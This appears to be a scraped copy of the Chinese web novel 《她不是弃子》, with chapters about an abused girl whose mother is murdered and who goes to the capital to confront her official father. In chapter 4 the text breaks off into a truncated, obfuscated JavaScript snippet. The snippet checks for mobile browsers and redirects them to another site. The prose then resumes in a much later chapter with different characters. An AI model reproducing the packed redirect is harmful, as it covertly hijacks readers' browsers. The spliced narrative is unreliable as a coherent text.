《她不是弃子》 1. 李荣兰 《她不是弃子》全本免费阅读 今年的雪比往年的都大,张弃手上的冻疮也更严重,都说外室是金屋藏娇,然而张弃母子连间不漏风的屋子都住不上。 “去,看看你爹回来了吗。” 张弃抬头望向李氏,见她目光灼灼,便知又要有大祸了,于是打算出门躲清净,然而冬日里的白昼实在太短,眼看着天就要黑透。 李氏摔下一个陶碗,碎片四溅,张弃已然开了门,从外面不断贯进来的风雪使她清醒了几分,缓了半晌后重新关上门。 她弯腰捡起碎片,轻声说:“娘,他早就不要我们了。” 李氏先是一顿,接着扑过去掐住张弃的脖子,双眼充满血丝,眼看她要断气,又猛然松开手,像是忽然从梦魇中惊醒,正要安抚跟前的女儿,下一刹那又像恶鬼附身,抄起凳子一遍遍朝张弃砸去,发出一声又一声的闷响。 她咒骂着:“都是你,都是因为你!你要是个儿子,他怎么会抛弃我!你为什么不去死!” 张弃挣扎了几下还是没能挣脱,李氏总算力竭,开始瘫坐在地上咆哮咒骂,在她眼里,张弃是一切悲剧的开始,她是罪魁祸首。 不知过了多久,李氏总算安静下来,蹲在角落里喃喃自语,又像一只将死的野猫了。张弃缓缓上前帮她拢了拢头发,李氏之前最是讲究,现在病了,张弃也尽量让她看起来不那么狼狈。 屋里没有点灯,也没有烧炭,张弃起身开门,临走前还回头看了眼黑暗中的身影,她把门从外面锁好,朝不远处的另一座矮房去。 屋子里又是一片沉寂,良久后,有人撬开窗户上的锁,很快,屋里再次响起李氏凄凉的叫声。 张弃回头,呼出的白雾快要模糊视线,天上又下了鹅毛大雪,留下的足迹很快被覆盖,她心一沉,并不打算回去查看。 “我就猜到你要过…”刘大娘拉开房门,就见张弃一脸的血,从额角蔓延到下巴,饶是这样的天气也没能让血止住,正淅淅沥沥地滴在衣服上。 没等刘大娘惊呼出声,张弃抬手摸了摸脸,满脸愧疚道:“大娘,能否再借些炭?我娘身子不好,断了炭,只怕又要生病了。” 刘大娘怎么能不借,眼前的孩子十二岁,瘦得不成样子,还要四处帮工养活那个疯婆娘,这样的孩子还讲诚信,有借有还,闲时也愿意给邻里做活计,因此四周人时不时也会送些东西给她,她却转头都给了亲娘。 “行,你进屋暖和暖和,我去给你拿。” 张弃摇头:“不了。” 刘大娘知道劝不住她,也只好走快些,等到抱着炭出来时,就见张弃倒在雪地里一动不动。 ———— 张弃再次醒来是在刘大娘家里,然而屋子里却没人,她推开门一看,官府的人把自己家围得水泄不通。 刘大娘回头看见了张弃,转头朝官差说几句话,这才往这边走过来,脸色却不大好。 “去看看吧,你娘…”刘大娘平日里虽看不惯李氏,可她这突然横死,心中竟生出许多怜悯来,只叹李氏命运多舛,先前是官妓,怀了某位官老爷的胎后就从了良,痴痴等着人家回来接她母子,可惜那老爷一去不回,据说在京里步步高升了,她盼着盼着就生了疯病,在此之前虽不能说是个顶好的女子,对孩子却也不差的,也能认得几个字,也愿意教给孩子。 张弃面色苍白,一听这话,顿时连气也不敢出了,先是迈了几步,接着突然狂奔回家。 屋里李氏衣衫不整,露出大片后背,上头布满大大小小的伤痕,就那样趴在门口,一双红色的指甲卷了边,在门上留下几道深深的印子,后脑赫然被砸出了个血窟窿,淌了一地的血,此时已然干涸。 屋子里四处都被翻动过,但那人显然没有找到想要的东西,她们家穷得叮当响。 “娘?”张弃脑袋一片空白,随即脱下外衣覆在李氏身上,她已然听不见四周人的七嘴八舌,直到官差将她拉远了些,她才抬头望向他,脸上满是木然。 “你是苦主?家中可还有其他长辈?” 张弃摇头:“没有,大人,我娘她…” 心里猛然冒出一个人影来,她抿了抿嘴,又低下头去看着李氏,这才发现原来她头上已然生出了许多白发。 官差将李氏抬到板车上,又寻了四邻提供的破衣烂衫盖住,让张弃和在场的几人一同去一趟衙门。 刘大娘什么时候进过衙门,从来也只是远远地望上一眼,如今县令大人高坐堂上,她吓得双腿发软,张张嘴,却说不出话来,幸而同行的几人也都一样,便不显得格外尴尬。 张弃低着头,一手攥住衣角,脸色和死人几乎也快没有差别了。 刘大娘得令,将昨天和今天的事情都说了出来,因刚见过死人,现在又是这种阵仗,说出来的话也就七零八落,乱七八糟。 县令听了半天,勉强理清了来龙去脉。 刘大娘的男人祖上行医,虽然他没再继承衣钵,却也能识点病症。昨天张弃昏倒后他看了看,觉得没有大碍,睡上一觉就好,夫妇俩一合计,现在孩子是伤着,再把孩子送回李氏手上恐怕就是死路一条了,于是就把张弃暂时安置了下来。 一通忙活后,就忘了给李氏送柴炭,第二天醒来去送时发现从门缝底下渗出一片血迹,刘大娘敲了半晌门没人应,门又从外面上了锁,钥匙在张弃手上,但她还昏迷不醒。 恰好刘二家的大郎路过,就用柴刀破开门,接着就看见了尸首,再接着就报了官。 县令思索片刻,问:“李氏为人如何,可有欠债,可曾与人有仇怨?” 堂下几人的说辞差不多,她是疯女人,家里都是张弃在经营。穷,但没见过什么大债主,至于仇怨,那也是没看见的,周遭都说她是烧了高香,有个乖巧懂事的好女儿,也都愿意帮衬一二。 “苦主张弃,可有什么要说的?” 张弃思索片刻,道:“我娘身上带着一块雕竹子的白玉,方才我没找到。” 县令又问了些话,安排了里长照看孤儿,接着就退了堂,心里不怎么好受,半年前,州府也发生过这样的案子,确定了嫌犯,却迟迟没有抓到,后来邻县也发生了类似的,作案手法与州府的那位一对,基本吻合。 只是没想到,这么快就流窜到了本县,虽然基本确定了,但他也要和州府的对上一对,再作下一步打算。 那头的里长又把张弃托给了刘大娘。 刘大娘犹豫,她自己也不宽裕,也怕这一托,就要带着她一辈子了,她们家这情况怕是养不起,可又实在是可怜这孩子。 支支吾吾半天,最后还是点头应下来了,里长乡亲也都出了点钱给她。 一行人正要回去,张弃却停下脚步:“大娘,你先回去吧,我去医馆里结昨天的工钱。” 刘大娘一顿,见她神色如常,以为这孩子被吓得三魂没了七魄,呆傻起来,她点点头,又说:“早点回来。” 心想得抓紧去一趟道观,去去晦气,再请几道黄符,李氏这可不是好死,指不定哪天就变成恶鬼了呢。 张弃见刘大娘一行人走远,便又从角落里出来,往城门口去,这几日有从北方来的商队,就歇在那边的驿站,前阵子在邻县,这几日也到了本县收货,本县产宣纸,他们就收了好几箱,高高地摞起来。 张弃拢了拢衣裳,风雪吹得脸生疼,她想起来灶下埋着一口陶瓮,里面有她这些年攒起来的钱,原来是想多攒些,带着李氏换个地方生活,然而如今也只够给她打口薄棺材了,再有剩余的,权当路费。 等安置完李氏,她要去京城找爹,完成李氏的遗愿。 刘大娘留了饭,正在门口张望,她担心张弃一时想不开寻了短见,好在很快,张弃在天黑前回来了。 “快进来,冻坏了吧,什么工钱那么难结,换一家做算了。”刘大娘没什么心思吃饭,但面上还要装作镇定,一面又悄悄打量张弃。 张弃抬头,红着眼眶看了她一眼,像是刚哭过的样子,又拿出工钱递给刘大娘,看见这情况刘大娘才放了心,否则她是要立刻去请个道士来给张弃驱邪的。 “你自己收好,以后的用处大着呢,先吃饭。” 吃完饭后张弃收拾了碗筷,忙活完才在角落的床铺里合衣躺下,刘大娘侧耳听着,直到那边传来沉沉的呼吸声才放心睡下。 夜里的窗户忽然开了道缝,贯进来的冷风将她吹醒,刘大娘撑起身子看向窗边,便见张弃不知什么时候起身,已经把窗户重新关紧。 “睡吧,风吹的。”张弃轻声说,右手攥了攥身上沾湿的布 2. 孔灼 《她不是弃子》全本免费阅读 早上张弃还是照例出去砍了些柴火,中午出去跑了一趟,算是把房子和路上的事情解决了,回来时刘大娘已经把衣服改好,这回穿上正合身。 “等过年那阵儿,你别烧火做饭了,去大娘那儿一块过。” 张弃点头,她不打算把自己的主意告诉刘大娘,自己的家底大娘是知道的,自己的爹什么德性她也是知道的,如此就不会轻易放张弃走了。 夜里张弃一点睡意也没有,听着屋外的风声渐渐平息,幸好思绪也已经理清,她转头看向身侧,那里已经没有了李氏的身影。 她想,如果当时回头看看,事情是不是就不会这么糟糕了? 很快这个想法又被压制下来,这不是她的错,错的只有一个曹三,李氏的心结错也不在张弃,而在那个负心汉。 一夜无眠,第二天张弃起了个大早,天还未亮,她将一些屋里还能用的东西收拾出来放在筐里,在筐底放了封书信和钱,最后放在了刘大娘门前。 她要去曹三住过的驿站,再跟着商队走一段路,昨天她已经跟商队的人说过,今日再给些钱就行了,商队里刚死了个曹三,恰好就有多余的车马了,还有钱拿,商队也就没有了顾虑。 孔灼正在清点货物和人马,正好看见张弃,便朝她喊:“快过来,你叫甄鸣对吧?” 为了不招惹麻烦,张弃起了个化名,她点点头,又把包袱打开,“喏,这是我的东西,你确认一下,别回头说我拿你们东西了。”里面装了个牌位,一个骨灰坛子,和几件女衣,再有些干粮。 孔灼低头一看:“这你娘?带你娘上路?” 张弃点头:“对,我爹早年客死京城,现在带我娘去找他合葬,这是我娘的遗愿。” 孔灼倒吸一口凉气,心想这孩子真惨,于是道:“是个孝顺的孩子,既然如此,路上你就帮忙赶车,照看些货物,到时候我再给你点工钱作盘缠,如此可行?” 实际上这是他第一次带队南下,以前跟着父亲来过两次,都是在一旁看着。前头曹三被发现死在屋里,他被衙门喊过去问了好几番话,后来被告知这是个十恶不赦的贼人,好在有足够证据证明孔灼和曹三没有直接关系,更没有包庇的意思,这才被放了回来,眼看又要返程,他正在操心要再找一个可靠的人来顶替曹三的位置,恰好张弃就找上了门。 虽然人小,但也足够,反正跟队的有镖师,张弃当一双眼睛就行了。 然而张弃点头又摇头:“我不会赶车。” 孔灼摆手:“这不算什么,路上边看边学也就会了。”他一顿,又问:“那你带女衣作什么?” 眼下的张弃已经穿成了一副男孩模样,先前她来驿站时看见过孔灼,但孔灼显然没见过她。 “家姐先前的衣服,她在几年前掉下山崖,没有尸首,也没钱立牌位,我就想着到京城给她立个衣冠冢。” 孔灼顺了顺心口,说:“你待会儿先上我的车。” 一路上孔灼都对张弃照顾有加,张弃也不负他的期望,很快学会了赶车,临近春节,风雪更大,吹得张弃睁不开眼,险些让马儿跳崖去了,幸好反应及时又一把拉了回来。 孔灼也就让其他人接过缰绳,自己则钻进了马车里取暖,他原来不用吃这一趟苦头的,可要是不来这一趟,就没办法得到父亲的青眼,家产恐怕就全到大哥肚子里了,而他们兄弟不和,到时候指不定会把孔灼发配到哪里。 张弃顺带也被塞进了马车里,她并不安心,总担心这里头有什么计谋,她就这样上了车,要是发生点什么事情,跑都跑不掉,于是她又提议要出去帮忙。 孔灼按住她的脑袋:“别添乱。” 两人各自盘算着,也都不说话,最后是孔灼下令,到前面的驿站休整,此时已经是天黑了。 孔灼下车,扣响驿站大门,打里边出来个人,那人眯眼一看发现是个商队,便摆手:“此处是官驿。” “我知道。”孔灼从腰间荷包里掏出块沉甸甸的银子,又说:“要是有空院的话,就开一个吧。” 张弃从来没见过这么多钱,她估计要是自己赚,得攒个几年。 那人犹豫一二,才说:“只有下等房。” 空房是有的,空的上等房也有的,只是万一来了官差,却让官差住下等,这不是自投罗网是什么。 孔灼也不挑,这里肯接纳已经是最好的了。 孔灼看了一圈,人是不怎么够住的,这样的情况下只能大家挤一挤了,要是想睡得舒服点,那只能够抢着和身量小点的人睡。 于是孔灼朝张弃招手:“你跟我一屋吧。” 张弃哑然,商人虽贱,却实在富有,而这样富有的人,一般为人都很贱,又有一股莫名的戾气,但孔灼没有,他浑身上下散发出来的,是一股未经世事又浑然天成的傻气。 同屋的还有一个上年纪的老罗,他在角落铺了铺盖,一躺下就开始打鼾,仆人进进出出送水送东西,他是一醒也不醒。 孔灼看着张弃的包裹欲言又止,屋子里放着牌位和骨灰,还有几件死人衣服,多少还是有点渗人的,那头的张弃好像后脑袋长了眼睛,一把将包裹推远了。 孔灼的心思被看穿,略微有点尴尬,于是给张弃拿了个肉干:“这个好吃。” 张弃谢过,孔灼又问:“去过京城后,你要去哪儿?留在那里?那可不好混,可有亲人在?” “还没想好,没有。” 孔灼思考片刻:“要不你来我家?我家可缺人了。” 张弃摇头,眼前她的想法只有两个,要么死在京城,要么死回老家。 “为什么?” 张弃也答不上来为什么,孔灼又说:“来我家当仆人,过几年再娶个媳妇,置点田地,日子不就好过了吗?不然你孤身一人,万一混得不好,没钱娶媳妇,孤独终老怎么办?” 张弃这一口肉干哽在了嗓子眼里,她娘好不容易从的良,到她这里竟又要入贱籍吗?且不说张弃愿不愿意,李氏不从阴曹地府里爬出来掐死她就不错了。 张弃只好说:“京城里总归饿不死人,以后的事以后再说吧。” 孔灼满腔热忱被泼了盆凉水,也不生气,他是十里八乡出了名的脾气好,哦,除了与他哥有关的事情,孔灼亲娘是他爹的续弦,大哥是前妻生的,所以讨厌孔灼他娘,动不动就要欺负她,还把她逼得上了吊,因此孔灼人生中第一回奋起反抗,就是把大哥按在地上揍了一顿,从此每回见到大哥都没有好脸色,连他院里的狗都要踹上一脚才罢休。 不等孔灼继续说话,张弃便 3. 山匪,京城 《她不是弃子》全本免费阅读 “你放下!” “你先放!” 被擒的头子干脆把脖子一横:“我的命不值钱。” “贺家庄发生什么事情了?”张弃忽然开口问道,去年她在酒楼跑腿时遇到过几个贺家庄的商人,他们说话同这些贼匪的语调基本一致,非常有特色。 当时张弃为了向他们推销酒,就借着他们的酒劲多攀谈了几句,隐约知道贺家庄是个小地方,自给自足还算富饶,可自打来了个新县令,日子就不大好过了。 此话一出,目光就都落在了张弃身上,张弃又说:“眼下是年关,各路官员回京述职,你们要是有什么冤屈,何不到官驿碰一碰运气?” “呵,天下乌鸦一般黑,都他娘的是混账!”终于有人开了话匣子,说话的人声音苍老,年纪约摸有四五十了。 “可你们这样劫道,是死罪,一旦上头查下来就没有活路了。” “他们查不查的,我们都没有活路!桂山夏天里发疫病,县衙非但不想办法,还派人封山,就是想把人活活熬死!” 孔灼一愣,咽了咽口水,说:“老哥,你,你们是山上下来的?” 在场的人都倒吸了一口凉气,面面相觑,要是在这里染了疫病,再带回去,那岂不是完了。 好在,他们在另一个山头生活,原来是山上的灰户,世代生活在那里,各家都有点血亲。后来县衙里莫名其妙设了禁灰令,断了人家的活路,原本嘛,没了这条活路,还有其他路,靠山吃山,吃什么不能活呢? 然而很快,又一道令下来了,禁伐令,还有,禁猎,禁一切,还要把山里的住户都赶下山来,他们不搬,就给了点补贴,再强拆了房子,用武力逼迫。 无奈只得下了山,这一下山,却发现县里根本就容不下他们,他们没有田地,没有房屋,想置办又置办不起,一来二去,才想到不如当山匪,等壮大了队伍再回去占山为王。 孔灼听得入了神,转身抱了抱身后持刀的老哥:“哥,你们受苦了,这样吧,这趟货呢,不是我的,我不能做主,等我回去后,再拉一趟过来送给你们。” 张弃看了眼孔灼,心想跟了他或许不是一件坏事,至少目前看来,他是个挥金如土的傻子,心眼不坏。 劫匪们也都同意,这是他们头一回下手,本就不想杀人,远处那些望风的其实也都是老弱病残,两下谈清楚了,也没立契,也没见证,只留下双方姓名,就各自赶路去了。 张弃觉得稀奇,很少见到双方都冒傻气的情况。 商队重新整顿一番后继续上路,这回孔灼又让张弃上车了。 “你小子不怕?” 张弃摇头,又问孔灼:“你当真会回来?” “当然,我什么时候食过言,我非但要带货物,还要带个官儿来,我倒要看看,这个县令还能翻天不成?” “官?” “对,我认识一位朋友在大理寺当官。” 商人能跟官当朋友,那也算是孔灼的本事了。 张弃没说话,孔灼又递了话本给她:“识字吗?给哥念念。” 张弃翻开话本,一字一句念了出来:“叱海一把将苏小娘子打横抱起,在众人惊诧的目光下,策马离去,留下潇洒坚毅的背影,身后苏小娘子的妹妹气急败坏,暗自下了要夺回心上人的决心…” 孔灼补充道:“苏小娘子是个大美人,她妹妹是个小坏蛋,一心想抢苏小娘子的未婚郎君。” “是挺坏。”张弃评价道。 就这样念了一程话本,眼见就到傍晚,老罗又来了,胡须上还沾了些饼渣,他说:“二郎,前边有个湖,要不下去走走?” 孔灼除了话本外,最爱钓鱼,正好张弃念得嗓子冒烟,可以歇歇了。 此时一片白茫茫上照着金灿灿的斜阳,视野也十分开阔,湖面上结了层薄薄的冰,孔灼凿了洞,又从行李中拿出他称手的鱼竿鱼饵,老罗也在他不远处开钓,其他人就地支起营帐,看样子是要在这里过夜了。 张弃坐在孔灼身旁,打算读一读他给的其他话本,偶尔一抬头,看见落日悬在山顶上,像刘大娘家的咸鸭蛋黄,由此,又想到了李氏。 从前张弃四处帮工跑腿,为的是给李氏看病抓药,现如今,她竟不知该怎么过活了,李氏就好比一堵烂墙,挡不住风,防不住雨,还经常会掉下来几块砖头砸人,但她没了,墙根下的人,连这个倚靠都没有了。 “想什么呢,愁眉苦脸的。”孔灼坐了半天没等上一条鱼,那边老罗的筐里倒是有不少。 张弃摇头,低头继续看话本,便听孔灼说:“老这么憋着容易有内伤的。” “上钩了。”张弃说。 孔灼连忙提竿,果然拉上来了一条肥美的大鱼。 夜里孔灼把鱼烤了分食,张弃有幸分到了鱼尾巴,老罗又多给些饼子,再烧一锅野菜汤,一向吃惯山珍海味的孔灼也不挑食,末了还从张弃手里坑走了半块饼。 “不如你先跟我回家,等我交完差再陪你去京城,我还要去找官儿呢。”孔灼说。 张弃拒绝,那样折返会耽误时间,她要在春节里到京城。 “为什么?” “我算着吉日呢。” “再算一个不就行了?” “不行。” ———— 到了分别的地方,孔灼给了张弃些盘缠和一个随身的玉佩,还有那头漂亮的驴,再加一些草料,又让她在京城的金风楼住下,等他到了京城再结账。 张弃确实需要,只好硬着头皮谢过,心里想着该做什么来报答孔灼,难不成,真要给他家当仆人了? “路上小心慢走,不要喝脏水。”老罗又交代两句,苦口婆心的,像是真把张弃当亲孙子了。 两下分别后,张弃不敢慢下来,终于在三天后到了京城,一路打听着到了尚书府前。 还未走近就见着那边门庭若市,都各自带着东西,或精致小巧的螺钿盒子,或一口大银箱,都在门前求见主人家。 张弃远远看着,快到宵禁时才随着人流散开,孔灼说的酒楼要远许多,她只好就近住了客栈,门一关,梳洗一番后,把身上的男装换下,额上系好白布,她出发得仓促,没能准备一套孝服,只能这样凑合了。 明天就是除夕,张弃不知道明天会是个什么情形,她的爹,亲爹,张尚书,或许会把她丢进牢里,又或许当街把她打死,无论如何,她都得把娘送还给他,起码也要有个名分,没有名分,也要让别人知道他的风流债。 这一路走来,张弃打听了许多关于他的事迹,大多说他亲民,有作为,是文学大家,他们夫妻举案齐眉,相敬如宾,他的儿子青年才俊,文武双全,女儿也是名满京城的才女。 翌日,张弃出发前吃了两个肉包子,也算作是断头饭了,临走前把孔灼送的东西都寄存在了金风楼,一切收拾完毕,这才抱着同归于尽的决心去了尚书府。 她背着包袱上前,对门口的仆人说要见尚书大人。 仆人觉得好笑:“今日府里不见外人,你过几天再来。” 张弃点头,转身走到街上,将包袱里的牌位拿出来捧着,再当街一跪,磕了三个头:“草民张弃,求见张大人。” 过路的人多了起来,都聚在一处看热闹,有人来问了:“你这手上的是谁?” “我娘,李荣兰。”张弃在等,要是张尚书还不肯相见,她就要把事情全都说出来了。 “你娘跟张大人有什么关系?” 有人暗骂一声:“蠢货,没听见吗,这小娘子也姓张,指定是风流债。” “张大人清高,说不定是来讹他的,如今这世道,什么人没有呢,今天来一个张小娘子,明天来一个张小郎君,张大人是有嘴都说不清了。” 忽然又下起雪来,显得张弃更加悲凉,终于,打里头出来一位满头珠翠的女人,她是在娘子身边管事的,满脸写着狠厉,不由分说就让人把张弃赶走。 “我求见张 4. 不如认下 《她不是弃子》全本免费阅读 小厅里正闹得不可开交,外头也是热闹非凡,下人们手上正忙活着年夜饭,耳朵却忙着听消息。 “诶你们说,那丫头是不是真的?” “我看是真的,不然是疯了,敢来闹尚书府?” 闻真在角落里听了一阵儿,才在厨房里捡了点心回院儿,她走得急,差点没被门槛绊倒。 张清也听说了前院发生的事情,还不等她开口问,闻真就道:“还没定下来呢,全是风言风语。” 张清转头望向窗外,此时又下了雪,白茫茫的落在墙头上。 “你看见她了吗?”张清问。 闻真点头,开始用手比划:“看见了,就这么高,又黑又瘦,穿得也太差,跟外头的小乞丐也差不了多少。” 张清默声,这头闻真还想再评价两句,红桃又推开门进来了:“二娘,前院儿里吵起来了,大人好像很生气。” 张清是庶出,又是女儿,因此跟张仁昌并没有过多接触,也就没见过他发脾气的时候,现在这么听说,她不由得担心起张弃来,又实在好奇那头发生了什么。 闻真把门关紧,附在上面听了一阵才问红桃:“怎么吵的?” 红桃也是道听途说:“不知,好像是在骂那个丫头,我再去听听。” 张清忙招手:“回来,别往前凑。” 闻真把红桃拉回来,几人都不谈论这件事情了,可红桃实在忍不住,还是问:“小姐,你说她是不是真的?大人会不会让她住进来?” 张清沉默,真倒是估计有七八成,至于能不能住进来,她就猜不准了。 红桃实在坐不住,借口出去打水,很快又提着空水壶回来:“二娘,那丫头带着牌位走了,钱也没拿,脾气大的很。” 此时张弃回客栈收拾好包袱,换了客栈住,可不能住在原地,夜里再被灭口也不是没有可能,她答应宽限半天,明天早上再要答复。 一个外室如今要登堂入室,本不是什么大事,要就接着,不要就打发了,怎么闹都不妨碍,但张仁昌不一样,他要是不认,一世清名就有了抛妾弃子的污点,要是认,霍夫人的娘家人可能不会同意,他自己也不想认这么个野孩子,虽然张弃说了,要他认一个妾就好,可传出去也不是那么回事,只要小妾不要孩子,那也是不好听的。 就在他焦头烂额时,他的好友陈欣来消息了,大意就是:不如认下。 非但要认李氏,还要认下李氏子,反正那么大一个尚书府,不怕养不起一个小孩,再说,过几年长大成人,把她找个好人家嫁出去,也不失为一桩美事,对外有交代了,对张弃也是仁至义尽,否则外面以讹传讹,不定要传成什么样子,要是干脆利落地认下,还能得个重情义的美名,何乐而不为? 况且,只是妾啊,只是一个妾,孩子也是庶出,一个庶出的女子,从小又长在乡野,能起什么大风浪呢,不如认下。 接二连三的同窗好友也都来了消息,长篇大论的,总结一句:不如认下。 张弃安顿好住处,给李氏烧了香和纸钱,再供上京城的糕点,母女俩也算是过了个除夕,再晚些她翻起了孔灼送的话本,不知不觉竟睡着了。 第二天一早醒来,先是从头到尾检查一遍,发现没有缺胳膊少腿,这才梳洗一番,却不着急去尚书府,先上街转了一圈。 她要找个招短工的地方,赚些盘缠才好离开这里。 “张小娘子!您怎么在这儿呢,尚书府都派人来好几趟了,您赶紧过去吧。”说话的人是头个客栈的伙计,昨天也在尚书府门前看热闹来着。 张弃谢过,慢悠悠去了尚书府。 今天可就热闹了,堂上多了两位老人家,霍夫人也在,张行简也在,还有一个满脸不耐烦的人,眉眼和霍夫人有几分相似,再有两位小娘子在。 张仁昌疲态尽显,显然昨天是他过得最难过的一个除夕夜,没睡好,一早起来去朝贺,得了空就往家赶,再一会儿还要进宫去的,于是脸色就不怎么好看,他一指张弃,对两位老人说:“这就是了。” 老妪对张弃招招手:“过来,让婆婆看看。” 张弃犹豫一二,最终只往前挪了一小步,又听老翁说:“是个好孩子,今日起,你就回来住吧,你娘的事情府里会安排好。” “等我娘的事情结束,我自会离开,不给府上添麻烦。”张弃又换了一副乖顺的面孔。 “不要说气话,回来就安心住下,以前是亏待你了,今后有什么需要,只管提。”张仁昌只想快点结束这场闹剧。 “爹,她要走就让她走,这种人留下来做什么。”张渊是霍夫人的儿子,比张行简小两岁,一派纨绔作风,看张弃尤为不顺眼。 “你闭嘴。”张仁昌暗自叹了口气,转而看向张弃,又说:“去吧,收拾收拾回来,书坊那边…” “已经销了。”实际上张弃根本没有那么做,她穷得叮当响,怎么会有钱使书坊做事呢。 她又说:“娘的牌位我待会儿就去取了来,您还是尽快安排吧,我就不住下了。” 张清开口了:“正月里要操办这种事情恐怕不太合适,过了正月来办正好,还要算吉日良辰的,一切准备下来且要一段时间呢,你一个小孩子,家里如何放心把你放在外面?回来住下,要是不习惯,等事情办完再送你回去也是可以的。” 张清说的是实话,过年过节的人牙子到处溜达,哪天她被敲晕了扛走,那才是叫天天不应叫地地不灵了,况且,张弃看起来也不像是有去处的样子,倒不如回来住一阵,自己多看顾看顾就是了。 “不习惯?怕是到时候不习惯那穷乡僻野了。”张渊瞥了眼霍夫人,再看张弃时眼里的厌恶盖都盖不住。 霍夫人原本只当张清是透明的,现在看她却同张弃一样讨厌,心想先前还是小瞧张清了,逮着机会就开始巴结张仁昌,居然连张弃这种人也要巴结。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12645889|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车马,甚至贴心的物色了几个镖师,一切都安排妥当时,她得准备考试,只好暂时搁置下来,后来进了大理寺,身上安了好几双眼睛,一直没有找到机会完成这笔交易。 直到正式接手此案,才有了和听寒的第二回见面。 可碍于汤介在场,望涯并不敢多问,谁知道汤介是谁家的狗呢。 第三回,也就是现在。 双方手上都握有筹码,谈判正式开始。 “徐十三本名徐淑,确是洛州人士,家中原先是洛州的地方官,后来家道中落,被送进教坊司,不知怎的,竟入宫服侍起了韩娘子,韩娘子出事后,她就成为徐十三,嫁了位富商,再后来的事情你也知道的。” “这些事你如何知道?” 听寒低头握了握衣袖:“我与她从小一起长大,她家出事,我爹也牵连其中,好在并不严重,后来我爹娘病死,我无路可去,只好到京城混口饭吃,谁曾想在街头遇见她了,彼时她已经是徐十三,她告诉我,会给我一个很好的去处。” 说到此处,她自嘲地笑笑,继续道:“当真是很好的去处,刚开始只让我卖艺,后来,我连良籍都没有了。” 望涯不作声,听寒继续道:“我想跑,但根本跑不掉,只好终日低眉顺眼,继续扮演什么也不知情的傻子。就算是这样,她赚得盆满钵满后,仍是对我起了杀心,她不想世上还有人知道她徐淑的身份。” “我苦苦哀求,摇尾乞怜,好不容易博得她的同情,她却将我关押在此处,里三层外三层的看管起来,直到她死了,我才得以喘息。” 听寒眼眶渐红,她沉默良久,似乎是在对自己说:“可或许,有人胁迫她,让她不得不做那些事……” 她抬眼看向望涯,眼神中充满期许。在听寒眼中,徐淑的为人和徐十三是天壤之别,她不清楚徐淑经历了什么,竟一步步堕入深渊,成为地府里勾魂的恶鬼。 然而望涯轻声复述‘那些事’,她抬眼:“哪些事,同韩娘子有关么?” 听寒的脸上闪过一丝落寞,随即恢复如常,仿佛方才那个快要失控的是其他人,她抿了抿嘴:“我不清楚。” 话语一顿,继续道:“是真的,宫里发生过的事情她从未和我提起过,只是有一回她醉了酒,我扶她回屋时听她说过几句话,模模糊糊的不太真切,其中貌似提到了这位贵人,还有,还有庆王殿下,其余的像是忏悔。” 是了。 所有碎片都粘连在一起,过往的旧账再次浮现,逝去的灵魂徘徊呐喊,它们要申冤。 邓昔想要望涯查的。 就是韩娘子和冯学士的冤情。 他由徐十三的死,引导望涯调查徐十三过往徐淑的身份,以及徐淑对韩娘子做出的‘诬主’行径,以此洗清韩娘子同冯学士‘私通’的传闻,扶正冯学士的牌匾,并趁机提出复核冯学士‘通敌叛国,私养细作’的案卷。 而一开始,事情的指向是西亭侯夏珏。 夏珏主导了一切,构陷冯学士和韩娘子。 这是其一。 其二,同沈威有关。 沈定西的父亲沈威在归平关全军覆没,防线失守,连失三洲,一夕之间从战功赫赫的护国将军没落为千古罪人,同沈府不同的是,沈军覆没的战报传至各路后,夏珏率军驰援,援军到后又夺回两州,至此,沈夏两军的位置悄然逆转。 沈定西说,许策的父亲当年身为木匠,费尽心血设计出一套连弩,可自己身处乡野,就算造出来,也没人看得见。于是他收拾行囊,找到在邻州的驻军夏珏,请求他呈到军器所。 夏珏认可了他的图纸,却未依许伯诚的意思上交军器所,而是留下许伯诚监制,制造出第一批连弩。 然而,在接到沈军求援的战报后,夏珏启程支援,却让弓弩压后。夏军同敌军交战半月,弓箭手才姗姗来迟,接连收复两州,而那时,沈威的尸骨早已被野狗啃食殆尽,连残骸都找不到。 后来许伯诚请求回乡,夏珏面上应允,私下却派人暗杀,许伯诚一路逃亡,没敢回乡,一路跑一路求活,跑了几年后,已经从一代弓弩师,成为落魄的老乞丐。 沈定西说,当时就连许策也没能认得出来他。 66.休沐 今日休沐。 望涯起得很早,此时正在院子里修剪花枝,便听外头传来一阵敲门声。于是放下活计,转身开门去了。 来人是林昭,他已经擢升侍读学士,因此要比往日更繁忙。 “来这么早?” 望涯侧身迎他进屋。 林昭跨过门槛,手上牵着阿展,另一只手卷着几页纸张:“望司直不欢迎我?” “太欢迎了。” 望涯将门合上,引客落座,林昭却不愿意,牵着狗在院子里溜达。 望涯见他手里拿着的纸张,便问:“这是什么?” 林昭一笑:“好东西。” 他将绳子递给望涯,接着展开纸张,上头抄录的是近四年来军器所录用的名单。 望涯并不确定许策是否在军器所,甚至不知道她还有没有活着。只是直觉认为两者之间有所关联,于是托林昭打听打听军器所的情况。 “说来也巧,你才托我查军器所,第二天这里就有了不小的动静。” 林昭自顾转到堂上坐下,继续道:“一位名为马善工的典事呈上份连□□,因此得上头器重,从弩坊署升为所里的主簿了。” 望涯跟在林昭身后落座,她翻了几页名单,随即抬头:“弩坊署?” 林昭点头:“军器所下辖的,另外还有甲坊署。” “马善工的图纸很厉害吗?” 望涯问。 “不知道,我没有权查看,就算看了也看不懂。” 林昭看看望涯,还是开口问:“你查这些做什么?” 他隐隐清楚她在调查徐十三,却不知道这和军器所有什么联系,倘若其中当真有什么大问题被望涯查出来了,非但不会有功,还会犯下僭越职权的重罪。 望涯将纸张叠好:“你会知道的。” 但不是现在。 林昭笑笑,他知道会得到这样的答案,她从来没把自己当成无话不谈的朋友,但那确实太过奢侈,取得一个人完全的信任,听起来像天方夜谭,何况是望涯。 “林昭,此事保密。” 望涯正色。 林昭一瘫:“不管,除非你拿金风楼的酥山贿赂本官。” …… 贺微来得刚好,在门口遇上了来送酥山的闲汉。 “林大人也在呀。” 